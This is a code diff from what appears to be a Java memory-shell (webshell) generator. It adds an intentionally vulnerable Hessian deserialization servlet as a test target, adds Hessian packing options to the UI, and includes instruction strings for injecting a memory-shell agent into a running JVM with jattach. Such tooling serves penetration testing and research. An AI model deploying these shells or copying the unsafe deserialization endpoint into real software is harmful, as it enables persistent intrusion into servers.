* @since 2025/2/20
*/
@WebServlet("/hessian")
public class HessianReadObjServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
byte[] base64 = Base64.getDecoder().decode(data);
ByteArrayInputStream bis = new ByteArrayInputStream(base64);
AbstractHessianInput in = new HessianInput(bis);
in.readObject();
}
}
@@ -7,7 +7,7 @@ import java.util.List;
* @since 2024/12/10
*/
@WebServlet("/java_deserialize/cb110")
public class JavaReadObCB110jServlet extends BaseDeserializeServlet {
public class JavaReadObjCB110jServlet extends BaseDeserializeServlet {
@Override
List<String> getDependentPaths() {
@@ -7,7 +7,7 @@ import java.util.List;
* @since 2024/12/10
*/
@WebServlet("/java_deserialize/cb161")
public class JavaReadObCB161jServlet extends BaseDeserializeServlet {
public class JavaReadObjCB161jServlet extends BaseDeserializeServlet {
@Override
List<String> getDependentPaths() {
@@ -7,7 +7,7 @@ import java.util.List;
* @since 2024/12/10
*/
@WebServlet("/java_deserialize/cb170")
public class JavaReadObCB170jServlet extends BaseDeserializeServlet {
public class JavaReadObjCB170jServlet extends BaseDeserializeServlet {
@Override
List<String> getDependentPaths() {
@@ -7,7 +7,7 @@ import java.util.List;
* @since 2024/12/10
*/
@WebServlet("/java_deserialize/cb183")
public class JavaReadObCB183jServlet extends BaseDeserializeServlet {
public class JavaReadObjCB183jServlet extends BaseDeserializeServlet {
@Override
List<String> getDependentPaths() {
BIN
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+2 -2
View File
@@ -38,7 +38,7 @@
"@radix-ui/react-tabs": "^1.1.3",
"@radix-ui/react-tooltip": "^1.1.8",
"@tailwindcss/vite": "^4.0.7",
"@tanstack/react-query": "^5.66.7",
"@tanstack/react-query": "^5.66.8",
"@tanstack/react-router": "^1.106.0",
"@tanstack/router-devtools": "^1.106.0",
"class-variance-authority": "^0.7.1",
@@ -51,7 +51,7 @@
"react-hook-form": "^7.54.2",
"react-i18next": "^15.4.1",
"react-syntax-highlighter": "^15.6.1",
"sonner": "^2.0.0",
"sonner": "^2.0.1",
"tailwind-merge": "^3.0.1",
"tailwind-scrollbar": "^4.0.0",
"tailwindcss-animate": "^1.0.7",
+2 -2
View File
@@ -92,8 +92,8 @@ export function MainConfigCard({
}
form.resetField("bypassJavaModule");
form.resetField("shellTool");
handleShellToolChange(form.getValues("shellTool"));
form.resetField("shellType");
form.resetField("urlPattern");
}
};
+36 -29
View File
@@ -61,35 +61,42 @@ export function PackageConfigCard({
</CardTitle>
</CardHeader>
<CardContent>
<FormProvider {...form}>
<FormField
control={form.control}
name="packingMethod"
render={({ field }) => (
<FormItem className="space-y-3">
<FormLabel className="h-6 flex items-center gap-1">{t("packageConfig.title")}</FormLabel>
<FormControl>
<RadioGroup
onValueChange={field.onChange}
value={field.value}
className="grid grid-cols-2 md:grid-cols-3"
>
{options.map(({ name, value }) => (
<FormItem key={value} className="flex items-center space-x-3 space-y-0">
<FormControl>
<RadioGroupItem value={value} id={value} />
</FormControl>
<FormLabel className="text-xs" htmlFor={value}>
{name}
</FormLabel>
</FormItem>
))}
</RadioGroup>
</FormControl>
</FormItem>
)}
/>
</FormProvider>
{options.length > 0 ? (
<FormProvider {...form}>
<FormField
control={form.control}
name="packingMethod"
render={({ field }) => (
<FormItem className="space-y-3">
<FormLabel className="h-6 flex items-center gap-1">{t("packageConfig.title")}</FormLabel>
<FormControl>
<RadioGroup
onValueChange={field.onChange}
value={field.value}
className="grid grid-cols-2 md:grid-cols-3"
>
{options.map(({ name, value }) => (
<FormItem key={value} className="flex items-center space-x-3 space-y-0">
<FormControl>
<RadioGroupItem value={value} id={value} />
</FormControl>
<FormLabel className="text-xs" htmlFor={value}>
{name}
</FormLabel>
</FormItem>
))}
</RadioGroup>
</FormControl>
</FormItem>
)}
/>
</FormProvider>
) : (
<div className="flex items-center justify-center p-4 space-x-2">
<div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
<span className="text-sm text-muted-foreground">{t("loading")}</span>
</div>
)}
</CardContent>
</Card>
);
+9 -1
View File
@@ -29,7 +29,7 @@ import {
} from "@/types/shell.ts";
import { TFunction } from "i18next";
import { CircleHelpIcon, FileTextIcon, ScrollTextIcon, TriangleAlertIcon } from "lucide-react";
import { Fragment, useState } from "react";
import { Fragment, useEffect, useState } from "react";
import { useTranslation } from "react-i18next";
import { toast } from "sonner";
@@ -280,6 +280,14 @@ function MultiPackResult({
const packMethods = Object.keys(allPackResults ?? {});
const [selectedMethod, setSelectedMethod] = useState(packMethods[0]);
const [packResult, setPackResult] = useState(allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "");
useEffect(() => {
const methods = Object.keys(allPackResults ?? {});
const firstMethod = methods[0];
setSelectedMethod(firstMethod);
setPackResult(allPackResults?.[firstMethod as keyof typeof allPackResults] ?? "");
}, [allPackResults]);
return (
<Fragment>
<CodeViewer
+9 -6
View File
@@ -26,6 +26,7 @@
"title3": "Injector Class",
"usage": "Usage"
},
"loading": "Loading...",
"mainConfig": {
"bypassJavaModule": "Bypass Java Module",
"debug": "Debug Mode",
@@ -49,6 +50,8 @@
"Freemarker": "Freemarker",
"Groovy": "Groovy",
"GzipBase64": "GzipBase64",
"Hessian2Deserialize": "Hessian2Deserialize",
"HessianDeserialize": "HessianDeserialize",
"JEXL": "JEXL",
"JSP": "JSP",
"JXPath": "JXPath",
@@ -109,19 +112,19 @@
"tips": {
"controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller",
"decompileTip": "Decompilation is still under development, so the current only sees the base64 encoding format",
"download-jattach": "Download the Jattach tool (consider it directly encapsulated in Jar later)",
"execute-command": "Execute the command to inject: /path/to/jattach pid load instrument false /path/to/agent.jar",
"get-pid": "Get the process pid of the target jvm (use jps or ps)",
"handlerUrlPattern": "HandlerMethod/HandlerFunction type requires a specific URL Pattern, e.g., /hello_handler",
"jreTip": "Target JRE version, generally speaking, Java 6 is the default version for maximum compatibility, and Java high versions can load low version bytecode.",
"jreTip2": "In specific cases, such as JDK8 being able to use lambda expressions, and JDK9 and above having module restrictions, a specific version is required.",
"move-to-container": "Move MemShellAgent.jar and jattach to the container (if the test environment uses a container deployment)",
"servletUrlPattern": "Servlet type requires a specific URL Pattern, e.g., /hello_servlet",
"shellBytesEmpty": "Shell bytes is empty, please generate shell first",
"shellToolNotSelected": "Please select a shell tool type first",
"targetServerNotFound": "Target server not found?",
"targetServerRequest": "Request",
"waitingForGeneration": "// Waiting for generation...",
"download-jattach": "Download the Jattach tool (consider it directly encapsulated in Jar later)",
"move-to-container": "Move MemShellAgent.jar and jattach to the container (if the test environment uses a container deployment)",
"get-pid": "Get the process pid of the target jvm (use jps or ps)",
"execute-command": "Execute the command to inject: /path/to/jattach pid load instrument false /path/to/agent.jar",
"try-to-use-shell": "Try to use the memory shell"
"try-to-use-shell": "Try to use the memory shell",
"waitingForGeneration": "// Waiting for generation..."
}
}
+10 -7
View File
@@ -26,6 +26,7 @@
"title3": "注入器类",
"usage": "使用方法"
},
"loading": "加载中...",
"mainConfig": {
"bypassJavaModule": "绕过 Java 模块限制",
"debug": "调试模式",
@@ -49,11 +50,13 @@
"Freemarker": "Freemarker",
"Groovy": "Groovy",
"GzipBase64": "GzipBase64",
"Hessian2Deserialize": "Hessian2 反序列化",
"HessianDeserialize": "Hessian 反序列化",
"JEXL": "JEXL 表达式",
"JSP": "JSP",
"JXPath": "JXPath 表达式",
"Jar": "Jar",
"JavaDeserialize": "Java反序列化",
"JavaDeserialize": "Java 反序列化",
"JinJava": "JinJava",
"MVEL": "MVEL 表达式",
"OGNL": "OGNL 表达式",
@@ -109,19 +112,19 @@
"tips": {
"controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller",
"decompileTip": "反编译还在开发中,因此当前仅能看到 base64 编码格式",
"download-jattach": "下载 Jattach 工具(后期考虑直接封装在 Jar 中)",
"execute-command": "执行命令进行注入:/path/to/jattach pid load instrument false /path/to/agent.jar",
"get-pid": "获取目标 jvm 的进程 pid (使用 jps 或 ps",
"handlerUrlPattern": "HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern,例如 /hello_handler",
"jreTip": "目标 JRE 版本,一般而言为了最大的兼容性,默认 Java 6 即可,Java 高版本能加载低版本的字节码。",
"jreTip2": "特定情况下,例如 JDK8 才能使用 lambda 表达式,JDK9 以上存在模块限制时才需要选择特定的版本。",
"move-to-container": "将 MemShellAgent.jar 和 jattach 移动到容器中(如果测试环境使用容器部署)",
"servletUrlPattern": "Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet",
"shellBytesEmpty": "内存马字节码为空,无法下载, 请先生成内存马",
"shellToolNotSelected": "请先选择内存马工具类型",
"targetServerNotFound": "找不到目标服务 ",
"targetServerRequest": "请求适配",
"waitingForGeneration": "// 等待填写参数生成中...",
"download-jattach": "下载 Jattach 工具(后期考虑直接封装在 Jar 中)",
"move-to-container": "将 MemShellAgent.jar 和 jattach 移动到容器中(如果测试环境使用容器部署)",
"get-pid": "获取目标 jvm 的进程 pid (使用 jps 或 ps",
"execute-command": "执行命令进行注入:/path/to/jattach pid load instrument false /path/to/agent.jar",
"try-to-use-shell": "尝试利用内存马"
"try-to-use-shell": "尝试利用内存马",
"waitingForGeneration": "// 等待填写参数生成中..."
}
}